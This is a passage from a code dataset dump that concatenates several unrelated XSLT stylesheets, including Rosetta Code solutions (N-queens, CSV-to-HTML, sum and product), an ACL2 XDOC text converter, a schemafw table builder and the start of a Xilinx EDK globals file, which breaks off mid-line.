Search is not available for this dataset
content
stringlengths
0
376M
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Rosetta Code: Create an HTML table (XSLT)</title> </head> <body><table> <tr> <th></th> <th>X</th> <th>Y</th> <th>Z</th> </tr> <tr> <th>1</th> <td>1578</td> <td>4828</td> <td>1154</td> </tr> <tr> <th>2</th> <td>4950</td> <td>6497</td> <td>2355</td> </tr> <tr> <th>3</th> <td>9341</td> <td>1927</td> <td>8720</td> </tr> <tr> <th>4</th> <td>4490</td> <td>1218</td> <td>6675</td> </tr> <tr> <th>5</th> <td>8181</td> <td>1403</td> <td>4637</td> </tr> </table></body> </html>
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- ; XDOC Documentation System for ACL2 ; Copyright (C) 2009-2011 Centaur Technology ; ; Contact: ; Centaur Technology Formal Verification Group ; 7600-C N. Capital of Texas Highway, Suite 300, Austin, TX 78731, USA. ; http://www.centtech.com/ ; ; License: (An MIT/X11-style license) ; ; Permission is hereby granted, free of charge, to any person obtaining a ; copy of this software and associated documentation files (the "Software"), ; to deal in the Software without restriction, including without limitation ; the rights to use, copy, modify, merge, publish, distribute, sublicense, ; and/or sell copies of the Software, and to permit persons to whom the ; Software is furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING ; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER ; DEALINGS IN THE SOFTWARE. ; ; Original author: <NAME> <<EMAIL>> text.xsl - converts xdoc markup to plain text [Jared 1/03/11]: Note that the :xdoc command does NOT use this file; this is only used to generate the files in the text/ directory of a manual, and I think its output is inferior to the acl2-based :xdoc command. [Jared 10/21/09]: I haven't put too much work into this. Doing fancy things with XSLT seems rather difficult and I am not an expert. The main deficiency right now is that I do not know how to make links stand out. My word-wrapping code is copied from some web site, and to use it I seem to have to treat the contents of elements such as <p> and <li> as ordinary text. This means that templates for <a> and <see> are never processed. Maybe someone who knows XSLT will be able to provide a fix. --> <xsl:output method="text"/> <xsl:strip-space elements="box ul ol dl p topic"/> <xsl:template match="topic"> <xsl:text>------------------------------------------------------------------------&#xA;&#xA;</xsl:text> <xsl:text> </xsl:text> <xsl:value-of select="@name"/> <xsl:text>&#xA;&#xA;</xsl:text> <xsl:text>------------------------------------------------------------------------&#xA;&#xA;</xsl:text> <xsl:apply-templates/> <xsl:text>&#xA;------------------------------------------------------------------------&#xA;</xsl:text> </xsl:template> <xsl:template match="parent"> <xsl:text>Parent Topic: </xsl:text> <xsl:value-of select="."/> <xsl:text> (</xsl:text> <xsl:value-of select="@topic"/> <xsl:text>)&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="p"> <!-- Word wrap paragraphs. --> <xsl:call-template name="wrap-string"> <xsl:with-param name="str" select="normalize-space(.)"/> <xsl:with-param name="wrap-col" select="65"/> <xsl:with-param name="break-mark" select="'&#xA;'"/> </xsl:call-template> <xsl:text>&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="blockquote"> <!-- just treat blockquotes like regular paragraphs --> <xsl:call-template name="wrap-string"> <xsl:with-param name="str" select="normalize-space(.)"/> <xsl:with-param name="wrap-col" select="65"/> <xsl:with-param name="break-mark" select="'&#xA;'"/> </xsl:call-template> <xsl:text>&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="ul"> <xsl:apply-templates/> <xsl:text>&#xA;</xsl:text> </xsl:template> <xsl:template match="ol"> <xsl:apply-templates/> <xsl:text>&#xA;</xsl:text> </xsl:template> <xsl:template match="dl"> <xsl:apply-templates/> <xsl:text>&#xA;</xsl:text> </xsl:template> <xsl:template match="box"> <!-- This isn't great. --> <xsl:apply-templates/> </xsl:template> <xsl:template match="li"> <!-- Word wrap li elements and star them. --> <xsl:text> * </xsl:text> <xsl:call-template name="wrap-string"> <xsl:with-param name="str" select="normalize-space(.)"/> <xsl:with-param name="wrap-col" select="65"/> <xsl:with-param name="break-mark" select="'&#xA;'"/> <xsl:with-param name="pos" select="4"/> </xsl:call-template> <xsl:text>&#xA;</xsl:text> </xsl:template> <xsl:template match="dd"> <!-- Word wrap dd elements and indent them. --> <xsl:text> </xsl:text> <xsl:call-template name="wrap-string"> <xsl:with-param name="str" select="normalize-space(.)"/> <xsl:with-param name="wrap-col" select="65"/> <xsl:with-param name="break-mark" select="'&#xA;'"/> <xsl:with-param name="pos" select="6"/> </xsl:call-template> <xsl:text>&#xA;</xsl:text> </xsl:template> <xsl:template match="dt"> <!-- Word wrap dt elements and indent them. --> <xsl:text> </xsl:text> <xsl:call-template name="wrap-string"> <xsl:with-param name="str" select="normalize-space(.)"/> <xsl:with-param name="wrap-col" select="65"/> <xsl:with-param name="break-mark" select="'&#xA;'"/> <xsl:with-param name="pos" select="2"/> </xsl:call-template> <xsl:text>&#xA;</xsl:text> </xsl:template> <xsl:template match="short"> <xsl:apply-templates/> <xsl:text>&#xA;</xsl:text> </xsl:template> <xsl:template match="h1"> <xsl:text>&#xA;--- </xsl:text> <xsl:apply-templates/> <xsl:text> ---&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="h2"> <xsl:text>&#xA;--- </xsl:text> <xsl:apply-templates/> <xsl:text> ---&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="h3"> <xsl:text>&#xA;--- </xsl:text> <xsl:apply-templates/> <xsl:text> ---&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="h4"> <xsl:text>&#xA;</xsl:text> <xsl:apply-templates/> <xsl:text>&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="h5"> <xsl:text>&#xA;</xsl:text> <xsl:apply-templates/> <xsl:text>&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="code"> <xsl:value-of select="."/> <xsl:text>&#xA;&#xA;</xsl:text> </xsl:template> <xsl:template match="see"> <!-- This doesn't work with word-wrapping tags like <p> and <li>. --> <xsl:value-of select="."/> <xsl:text> (Link: </xsl:text> <xsl:value-of select="@topic"/> <xsl:text>)</xsl:text> </xsl:template> <!-- I got this this word-wrapping code from http://plasmasturm.org/log/204/ --> <xsl:template name="wrap-string"> <xsl:param name="str" /> <xsl:param name="wrap-col" /> <xsl:param name="break-mark" /> <xsl:param name="pos" select="0" /> <xsl:choose> <xsl:when test="contains( $str, ' ' )"> <xsl:variable name="before" select="substring-before( $str, ' ' )" /> <xsl:variable name="pos-now" select="$pos + string-length( $before )" /> <xsl:choose> <xsl:when test="$pos = 0" /> <xsl:when test="floor( $pos div $wrap-col ) != floor( $pos-now div $wrap-col )"> <xsl:copy-of select="$break-mark" /> </xsl:when> <xsl:otherwise> <xsl:text> </xsl:text> </xsl:otherwise> </xsl:choose> <xsl:value-of select="$before" /> <xsl:call-template name="wrap-string"> <xsl:with-param name="str" select="substring-after( $str, ' ' )" /> <xsl:with-param name="wrap-col" select="$wrap-col" /> <xsl:with-param name="break-mark" select="$break-mark" /> <xsl:with-param name="pos" select="$pos-now" /> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:if test="$pos &gt; 0"><xsl:text> </xsl:text></xsl:if> <xsl:value-of select="$str" /> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>
<filename>Task/N-queens-problem/XSLT/n-queens-problem-2.xslt <!-- 8-queens.xsl disguised as XML file for the browsers --> <!-- <NAME>'s .xsl.xml technique for execution in all browsers --> <?xml-stylesheet href="#" type="text/xsl"?> <!-- alternative over specifying input in data:data section --> <!DOCTYPE xsl:stylesheet [ <!ENTITY N "8"> ]> <!-- this is the stylesheet being referenced by href="#" above --> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exslt="http://exslt.org/common" xmlns:n-queens="urn:n-queens" exclude-result-prefixes="n-queens exslt" > <!-- find David Carlisle's exslt:node-set() for IE browsers at bottom --> <!-- Pattern allowing repeated processing of produced node-set results: <xsl:variable name="blah0">...</xsl:variable> <xsl:variable name="blah" select="exslt:node-set($blah0)"/> --> <xsl:output omit-xml-declaration="yes"/> <!-- entry point --> <xsl:template match="/xsl:stylesheet"> <!-- generate &N;x$&N;board --> <xsl:variable name="row0"> <xsl:call-template name="n-queens:row"> <xsl:with-param name="n" select="&N;"/> </xsl:call-template> </xsl:variable> <xsl:variable name="row" select="exslt:node-set($row0)"/> <xsl:variable name="rows0"> <xsl:for-each select="$row/*"> <r><xsl:copy-of select="$row"/></r> </xsl:for-each> </xsl:variable> <xsl:variable name="rows" select="exslt:node-set($rows0)"/> <html><pre> <!-- determine all solutions of $N queens problem --> <xsl:call-template name="n-queens:search"> <xsl:with-param name="b" select="$rows/*"/> </xsl:call-template> </pre></html> </xsl:template> <!-- recursive search for all solutions --> <xsl:template name="n-queens:search"> <xsl:param name="b"/> <!-- remaining rows of not threatened fields --> <xsl:param name="s"/> <!-- partial solution of queens fixated sofar --> <!-- complete board filled means solution found --> <xsl:if test="not($b)"> <xsl:value-of select="$s"/><xsl:text>&#10;</xsl:text> </xsl:if> <!-- check each remaining possible position in next row --> <xsl:for-each select="$b[1]/*"> <!-- sieve out fields by new current (.) queen in current row --> <xsl:variable name="sieved0"> <xsl:call-template name="n-queens:sieve"> <xsl:with-param name="c" select="."/> <xsl:with-param name="b" select="$b[position()>1]"/> </xsl:call-template> </xsl:variable> <xsl:variable name="sieved" select="exslt:node-set($sieved0)"/> <!-- recursive call --> <xsl:call-template name="n-queens:search"> <xsl:with-param name="b" select="$sieved/*"/> <xsl:with-param name="s" select="concat($s, .)"/> </xsl:call-template> </xsl:for-each> </xsl:template> <!-- sieve out fields in remaining rows attacked by queen at column $c --> <xsl:template name="n-queens:sieve"> <xsl:param name="c"/> <!-- column of newly fixed queen --> <xsl:param name="b"/> <!-- remaining rows --> <xsl:for-each select="$b"> <!-- row number for diagonal attack determination --> <xsl:variable name="r" select="position()"/> <!-- copy fields not vertically or diagonally attacked --> <r><xsl:copy-of select="*[. != $c][. - $r != $c][. + $r != $c]"/></r> </xsl:for-each> </xsl:template> <!-- generate node-set of the form "<f>1</f><f>2</f>...<f>$n</f>" --> <xsl:template name="n-queens:row"> <xsl:param name="n"/> <xsl:if test="$n>0"> <xsl:call-template name="n-queens:row"> <xsl:with-param name="n" select="$n - 1"/> </xsl:call-template> <f><xsl:value-of select="$n"/></f> </xsl:if> </xsl:template> <!-- IE browser exslt:node-set() (XSLT 1.0+), w/o msxsl pollution above from http://dpcarlisle.blogspot.com/2007/05/exslt-node-set-function.html --> <msxsl:script xmlns:msxsl="urn:schemas-microsoft-com:xslt" language="JScript" implements-prefix="exslt" > this['node-set'] = function (x) { return x; } </msxsl:script> </xsl:stylesheet>
<reponame>cjungmann/schemafw <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" exclude-result-prefixes="html"> <xsl:import href="sfw_generics.xsl" /> <xsl:import href="sfw_utilities.xsl" /> <xsl:import href="sfw_schema.xsl" /> <xsl:output method="xml" doctype-public="-//W3C//DTD XHTML 1.0 Strict//EN" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" version="1.0" indent="yes" omit-xml-declaration="yes" encoding="UTF-8"/> <xsl:template match="*[@rndx][/*/@mode-type='table'][schema]"> <xsl:apply-templates select="schema" mode="construct_table" /> </xsl:template> <xsl:template match="*[@rndx][schema][@sfw_refill_tbody]"> <xsl:apply-templates select="schema" mode="fill_tbody" /> </xsl:template> <xsl:template match="*[@sfw_replace_row_contents]"> <xsl:variable name="schema" select="../schema" /> <xsl:choose> <xsl:when test="$schema"> <xsl:apply-templates select="$schema/field" mode="construct_line_cell"> <xsl:with-param name="data" select="." /> </xsl:apply-templates> </xsl:when> <xsl:otherwise>No schema found</xsl:otherwise> </xsl:choose> </xsl:template> <!-- Creates a table element and fills it according to the instructions contained in the schema element. The parameter "static," if set, will omit the duplicate thead rows that allow the column headers to remain fixed while the table scrolls underneath. --> <xsl:template match="schema" mode="construct_table"> <xsl:param name="static" /> <xsl:param name="sfw_class" /> <xsl:variable name="class"> <xsl:text>Schema</xsl:text> <xsl:if test="@table_class"> <xsl:value-of select="concat(' ',@table_class)" /> </xsl:if> </xsl:variable> <xsl:element name="table"> <xsl:attribute name="class"><xsl:value-of select="$class" /></xsl:attribute> <xsl:apply-templates select="." mode="add_result_attribute" /> <xsl:apply-templates select="." mode="add_sfw_class_attribute"> <xsl:with-param name="sfw_class" select="$sfw_class" /> </xsl:apply-templates> <xsl:apply-templates select="." mode="add_on_click_attributes" /> <xsl:attribute name="data-confirm_template">yes</xsl:attribute> <xsl:apply-templates select="." mode="add_tag_attribute" /> <thead> <xsl:apply-templates select="." mode="construct_thead_rows" /> <xsl:if test="not($static)"> <xsl:apply-templates select="." mode="construct_thead_rows" > <xsl:with-param name="class" select="'floater'" /> </xsl:apply-templates> </xsl:if> </thead> <tbody> <xsl:apply-templates select="." mode="fill_tbody" /> </tbody> </xsl:element> </xsl:template> <!-- Pass-through template to provide a result-based entry to construct_table. --> <xsl:template match="*[@rndx]" mode="construct_table"> <xsl:param name="sfw_class" /> <xsl:choose> <xsl:when test="schema"> <xsl:apply-templates select="schema" mode="construct_table"> <xsl:with-param name="sfw_class" select="$sfw_class" /> </xsl:apply-templates> </xsl:when> <xsl:otherwise> <div>Can't construct a table without a schema</div> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="schema" mode="construct_thead_rows"> <xsl:param name="class" /> <xsl:apply-templates select="." mode="show_intro"> <xsl:with-param name="class" select="$class" /> </xsl:apply-templates> <xsl:apply-templates select="." mode="construct_button_row"> <xsl:with-param name="class" select="$class" /> </xsl:apply-templates> <xsl:element name="tr"> <xsl:attribute name="class"> <xsl:text>headfix_cheads</xsl:text> <xsl:if test="$class"> <xsl:value-of select="concat(' ',$class)" /> </xsl:if> </xsl:attribute> <xsl:apply-templates select="field" mode="make_column_head" /> </xsl:element> </xsl:template> <!-- This template fills an already-established tbody element, It can be used to replot the contents of a table without disturbing the other parts of a table element or the attribute of the tbody element itself, which sometimes holds important context information. Note the lines parameter. It can be used to have this template fill the tbody with something other than the full list of rows. For example, a developer could fill the table with a subset by filling the "lines" parameter with a filtered nodelist of table lines. If lines is not set the template will use the entire set of rows contained in the parent result element. --> <xsl:template match="schema" mode="fill_tbody"> <xsl:param name="lines" select="/.." /> <xsl:param name="group" /> <xsl:variable name="row-name"> <xsl:choose> <xsl:when test="@row-name"><xsl:value-of select="@row-name" /></xsl:when> <xsl:otherwise>row</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="result" select="parent::*[@rndx]" /> <xsl:variable name="r_rows" select="$result/*[not($lines)][local-name()=$result/@row-name]" /> <xsl:variable name="s_rows" select="$result/*[not($lines|$r_rows)][local-name()=current()/@name]" /> <xsl:variable name="lines_to_use" select="$lines|$r_rows|$s_rows" /> <xsl:variable name="id_field"> <xsl:apply-templates select="." mode="get_id_field_name" /> </xsl:variable> <xsl:variable name="field" select="field[@sorting]" /> <xsl:choose> <xsl:when test="$field"> <xsl:variable name="aname" select="$field/@name" /> <xsl:variable name="dir"> <xsl:choose> <xsl:when test="$field/@descending">descending</xsl:when> <xsl:otherwise>ascending</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="data-type"> <xsl:choose> <xsl:when test="$field/@sort"><xsl:value-of select="$field/@sort" /></xsl:when> <xsl:otherwise>text</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:apply-templates select="$lines_to_use" mode="construct_tbody_row"> <xsl:with-param name="line_id" select="$id_field" /> <xsl:sort select="count(@*[local-name()=$aname])" data-type="number" order="descending" /> <xsl:sort select="@*[local-name()=$aname]" data-type="{$data-type}" order="{$dir}" /> </xsl:apply-templates> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="$lines_to_use" mode="construct_tbody_row"> <xsl:with-param name="line_id" select="$id_field" /> </xsl:apply-templates> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="schema/field" mode="get_column_head_class"> <xsl:if test="not(@unsortable)">sortable</xsl:if> <xsl:if test="@class"> <xsl:value-of select="concat(' ',@class)" /> </xsl:if> </xsl:template> <xsl:template match="schema/field[not(@hidden)]" mode="make_column_head"> <xsl:variable name="name" select="@name" /> <xsl:variable name="label"> <xsl:apply-templates select="." mode="get_label" /> </xsl:variable> <xsl:variable name="class"> <xsl:apply-templates select="." mode="get_column_head_class" /> </xsl:variable> <xsl:element name="th"> <xsl:attribute name="data-name"> <xsl:value-of select="$name" /> </xsl:attribute> <xsl:attribute name="data-type"> <xsl:value-of select="@nodetype" /> </xsl:attribute> <xsl:if test="$class"> <xsl:attribute name="class"> <xsl:value-of select="$class" /> </xsl:attribute> </xsl:if> <xsl:value-of select="$label" /> </xsl:element> </xsl:template> <!-- Null-output template paired to other get_row_class (following) to prevent white-space output for non-matching fields. --> <xsl:template match="*" mode="get_row_class"></xsl:template> <xsl:template match="schema/field[@row_class]" mode="get_row_class"> <xsl:param name="data" /> <xsl:variable name="value"> <xsl:apply-templates select="." mode="get_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:variable> <xsl:if test="$value=@row_class"> <xsl:value-of select="concat(' ',@name)" /> </xsl:if> </xsl:template> <!-- Try to set the line_id parameter so the template need not determine the value for each row of the table. --> <xsl:template match="*" mode="construct_tbody_row"> <xsl:param name="line_id" /> <xsl:variable name="schema" select="../schema" /> <!-- for ad-hoc lines, figure id_field on the fly --> <xsl:variable name="id_field"> <xsl:choose> <xsl:when test="string-length($line_id)"> <xsl:value-of select="$line_id" /> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="$schema" mode="get_id_field_name" /> </xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="row_class"> <xsl:apply-templates select="$schema/field" mode="get_row_class"> <xsl:with-param name="data" select="." /> </xsl:apply-templates> </xsl:variable> <xsl:variable name="row_class_flag" select="$schema/@row_class_flag" /> <xsl:element name="tr"> <xsl:if test="string-length($row_class) &gt; 0"> <xsl:attribute name="class"><xsl:value-of select="$row_class" /></xsl:attribute> </xsl:if> <xsl:if test="@show_and_highlight"> <xsl:attribute name="id">schema_target_line</xsl:attribute> </xsl:if> <xsl:if test="$id_field"> <xsl:attribute name="data-id"> <xsl:value-of select="@*[name()=$id_field]" /> </xsl:attribute> </xsl:if> <xsl:apply-templates select="$schema/field" mode="construct_line_cell"> <xsl:with-param name="data" select="." /> </xsl:apply-templates> </xsl:element> </xsl:template> <xsl:template match="field[not(@hidden or @ignore)]" mode="construct_line_cell"> <xsl:param name="data" /> <xsl:element name="td"> <xsl:if test="@cell-class"> <xsl:attribute name="class"> <xsl:value-of select="@cell-class" /> </xsl:attribute> </xsl:if> <!-- No child elements can precede write_cell_content because that template may need to add an attribute to the "td" element. --> <xsl:apply-templates select="." mode="write_cell_content"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:element> </xsl:template> <xsl:template match="schema/field" mode="write_cell_content"> <xsl:param name="data" /> <xsl:variable name="val"> <xsl:apply-templates select="." mode="get_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:variable> <xsl:choose> <xsl:when test="@type='BOOL'"> <xsl:if test="$val=1">x</xsl:if> </xsl:when> <xsl:otherwise> <xsl:value-of select="$val" /> </xsl:otherwise> </xsl:choose> </xsl:template> <!-- <xsl:template match="schema/field[not(@type='assoc')]" mode="write_cell_content"> --> <!-- <xsl:param name="data" /> --> <!-- <xsl:variable name="val"> --> <!-- <xsl:apply-templates select="." mode="get_value"> --> <!-- <xsl:with-param name="data" select="$data" /> --> <!-- </xsl:apply-templates> --> <!-- </xsl:variable> --> <!-- <xsl:choose> --> <!-- <xsl:when test="@type='BOOL'"> --> <!-- <xsl:if test="$val=1">x</xsl:if> --> <!-- </xsl:when> --> <!-- <xsl:otherwise> --> <!-- <xsl:value-of select="$val" /> --> <!-- </xsl:otherwise> --> <!-- </xsl:choose> --> <!-- </xsl:template> --> <!-- <xsl:template match="schema/field[@type='assoc']" mode="write_cell_content"> --> <!-- <xsl:param name="data" /> --> <!-- <xsl:if test="@result"> --> <!-- <xsl:apply-templates select="." mode="add_assoc_attribute" /> --> <!-- <xsl:apply-templates select="." mode="build_associations"> --> <!-- <xsl:with-param name="data" select="$data" /> --> <!-- </xsl:apply-templates> --> <!-- </xsl:if> --> <!-- </xsl:template> --> <!-- <xsl:template match="schema/field[@type='assoc'][@style='table']" --> <!-- mode="write_cell_content"> --> <!-- <xsl:param name="data" /> --> <!-- <xsl:if test="@result"> --> <!-- <table> --> <!-- <xsl:element name="tbody"> --> <!-- <xsl:apply-templates select="." mode="add_assoc_attribute" /> --> <!-- <xsl:apply-templates select="." mode="build_associations"> --> <!-- <xsl:with-param name="data" select="$data" /> --> <!-- </xsl:apply-templates> --> <!-- </xsl:element> --> <!-- </table> --> <!-- </xsl:if> --> <!-- </xsl:template> --> <!-- Named template for makeing a table (do we ever use this?). --> <xsl:template name="make_table"> <!-- sfw_table.xsl --> <xsl:param name="gids" /> <xsl:param name="first" select="1" /> <xsl:variable name="gid"> <xsl:call-template name="next_gid"> <xsl:with-param name="gids" select="$gids" /> </xsl:call-template> </xsl:variable> <xsl:if test="string-length($gid) &gt; 0"> <xsl:variable name="field" select="/*/schema/field[generate-id()=$gid]" /> <xsl:if test="$first=0">|</xsl:if> <xsl:value-of select="$field/@name" /> <xsl:call-template name="make_table"> <xsl:with-param name="gids" select="substring-after($gids,'-')" /> <xsl:with-param name="first" select="0" /> </xsl:call-template> </xsl:if> </xsl:template> <!-- This template will be discarded when sfw_table.xsl is imported to a stylesheet that already includes <xsl:template match="/">. --> <xsl:template match="/"> <xsl:variable name="result" select="*/*[@rndx='1']" /> <html> <head> <title>Testing</title> </head> <body> <xsl:apply-templates select="$result" mode="make_table" /> </body> </html> </xsl:template> </xsl:stylesheet>
<gh_stars>1-10 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text" /> <xsl:template name="sum-prod"> <xsl:param name="values" /> <xsl:param name="sum" select="0" /> <xsl:param name="prod" select="1" /> <xsl:choose> <xsl:when test="not($values)"> <xsl:text> Sum: </xsl:text> <xsl:value-of select="$sum" /> <xsl:text> Product: </xsl:text> <xsl:value-of select="$prod" /> </xsl:when> <xsl:otherwise> <xsl:call-template name="sum-prod"> <xsl:with-param name="values" select="$values[position() > 1]" /> <xsl:with-param name="sum" select="$sum + $values[1]" /> <xsl:with-param name="prod" select="$prod * $values[1]" /> </xsl:call-template> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="/"> <xsl:text> Sum (built-in): </xsl:text> <xsl:value-of select="sum(//price)" /> <xsl:call-template name="sum-prod"> <xsl:with-param name="values" select="//price" /> </xsl:call-template> </xsl:template> </xsl:stylesheet>
<filename>Task/CSV-to-HTML-translation/XSLT-2.0/csv-to-html-translation-1.xslt <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xcsvt="http://www.seanbdurkin.id.au/xslt/csv-to-xml.xslt" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xcsv="http://www.seanbdurkin.id.au/xslt/xcsv.xsd" version="2.0" exclude-result-prefixes="xsl xs xcsvt xcsv"> <xsl:import href="csv-to-xml.xslt" /> <xsl:output indent="yes" encoding="UTF-8" method="html" doctype-system="about:legacy-compat" /> <xsl:import-schema schema-location="http://www.seanbdurkin.id.au/xslt/xcsv.xsd" use-when="system-property('xsl:is-schema-aware')='yes'" /> <xsl:param name="url-of-csv" as="xs:string" select="'roseta.csv'" /> <xsl:variable name="phase-1-result"> <xsl:call-template name="xcsvt:main" /> </xsl:variable> <xsl:template match="/"> <html lang="en"> <head><title>CSV to HTML translation - Extra Credit</title></head> <body> <xsl:apply-templates select="$phase-1-result" mode="phase-2" /> </body> </html> </xsl:template> <xsl:template match="xcsv:comma-separated-single-line-values" mode="phase-2"> <table> <xsl:apply-templates mode="phase-2" /> </table> </xsl:template> <xsl:template match="xcsv:row[1]" mode="phase-2"> <th> <xsl:apply-templates mode="phase-2" /> </th> </xsl:template> <xsl:template match="xcsv:row" mode="phase-2"> <tr> <xsl:apply-templates mode="phase-2" /> </tr> </xsl:template> <xsl:template match="xcsv:value" mode="phase-2"> <td> <xsl:apply-templates mode="phase-2" /> </td> </xsl:template> <xsl:template match="xcsv:notice" mode="phase-2" /> </xsl:stylesheet>
<filename>brutus_system/__xps/.dswkshop/MdtSvgDiag_Globals.xsl <?xml version="1.0" standalone="no"?> <!DOCTYPE stylesheet [ <!ENTITY UPPERCASE "ABCDEFGHIJKLMNOPQRSTUVWXYZ"> <!ENTITY LOWERCASE "abcdefghijklmnopqrstuvwxyz"> <!ENTITY UPPER2LOWER " '&UPPERCASE;' , '&LOWERCASE;' "> <!ENTITY LOWER2UPPER " '&LOWERCASE;' , '&UPPERCASE;' "> <!ENTITY ALPHALOWER "ABCDEFxX0123456789"> <!ENTITY HEXUPPER "ABCDEFxX0123456789"> <!ENTITY HEXLOWER "abcdefxX0123456789"> <!ENTITY HEXU2L " '&HEXLOWER;' , '&HEXUPPER;' "> <!ENTITY ALLMODS "MODULE[(@INSTANCE)]"> <!ENTITY BUSMODS "MODULE[(@MODCLASS ='BUS')]"> <!ENTITY CPUMODS "MODULE[(@MODCLASS ='PROCESSOR')]"> <!ENTITY MODIOFS "MODULE/IOINTERFACES/IOINTERFACE"> <!ENTITY ALLIOFS "&MODIOFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE'))]"> <!ENTITY V11MODBIFS "MODULE/BUSINTERFACE"> <!ENTITY V12MODBIFS "MODULE/BUSINTERFACES/BUSINTERFACE"> <!ENTITY V11ALLBIFS "&V11MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and @TYPE and @BUSSTD]"> <!ENTITY V12ALLBIFS "&V12MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and @TYPE and @BUSSTD]"> <!ENTITY V11MODPORTS "MODULE/PORT"> <!ENTITY V12MODPORTS "MODULE/PORTS/PORT"> <!ENTITY V11ALLPORTS "&V11MODPORTS;[ (not(@IS_VALID) or (@IS_VALID = 'TRUE'))]"> <!ENTITY V12ALLPORTS "&V12MODPORTS;[ (not(@IS_VALID) or (@IS_VALID = 'TRUE'))]"> <!ENTITY V11NDFPORTS "&V11MODPORTS;[((not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (not(@BUS) and not(@IOS)))]"> <!ENTITY V12NDFPORTS "&V12MODPORTS;[((not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (not(@BUS) and not(@IOS)))]"> <!ENTITY V11DEFPORTS "&V11MODPORTS;[((not(@IS_VALID) or (@IS_VALID = 'TRUE')) and ((@BUS) or (@IOS)))]"> <!ENTITY V12DEFPORTS "&V12MODPORTS;[((not(@IS_VALID) or (@IS_VALID = 'TRUE')) and ((@BUS) or (@IOS)))]"> ]> <!-- <!ENTITY MSTBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (@TYPE = 'MASTER')]"> <!ENTITY SLVBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (@TYPE = 'SLAVE')]"> <!ENTITY MOSBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and ((@TYPE = 'MASTER') or (@TYPE = 'SLAVE'))]"> <!ENTITY P2PBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and ((@TYPE = 'TARGET') or (@TYPE = 'INITIATOR'))]"> --> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" xmlns:dyn="http://exslt.org/dynamic" xmlns:math="http://exslt.org/math" xmlns:xlink="http://www.w3.org/1999/xlink" extension-element-prefixes="math exsl dyn xlink"> <!-- ====================================================== EDK SYSTEM (EDWARD) Globals. ====================================================== --> <xsl:variable name="G_SYS_ROOT" select="/"/> <!-- <xsl:variable name="G_SYS_DOC" select="dyn:evaluate($G_SYS_ROOT)"/> <xsl:variable name="G_SYS_DOC" select="dyn:evaluate($G_SYS_ROOT)"/> --> <xsl:variable name="G_SYS" select="$G_SYS_ROOT/EDKSYSTEM"/> <xsl:variable name="G_SYS_TIMESTAMP" select="$G_SYS/@TIMESTAMP"/> <xsl:variable name="G_SYS_EDKVERSION" select="$G_SYS/@EDKVERSION"/> <xsl:variable name="G_SYS_INFO" select="$G_SYS/SYSTEMINFO"/> <xsl:variable name="G_SYS_INFO_PKG" select="$G_SYS_INFO/@PACKAGE"/> <xsl:variable name="G_SYS_INFO_DEV" select="$G_SYS_INFO/@DEVICE"/> <xsl:variable name="G_SYS_INFO_ARCH" select="$G_SYS_INFO/@ARCH"/> <xsl:variable name="G_SYS_INFO_SPEED" 